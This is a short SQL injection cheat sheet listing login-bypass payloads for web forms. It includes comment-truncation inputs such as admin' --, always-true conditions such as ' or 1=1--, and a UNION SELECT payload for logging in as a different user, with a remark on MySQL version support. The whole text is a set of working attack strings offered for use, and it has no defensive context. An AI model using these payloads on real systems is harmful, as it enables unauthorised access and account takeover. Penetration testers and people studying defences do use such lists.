SQL Injection 101, Login tricks
admin' --
admin' #
admin'/
' or 1=1--
' or 1=1#
' or 1=1/
') or '1'='1--
') or ('1'='1--
Login as different user (SM*)
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
*Old versions of MySQL doesn't support union queries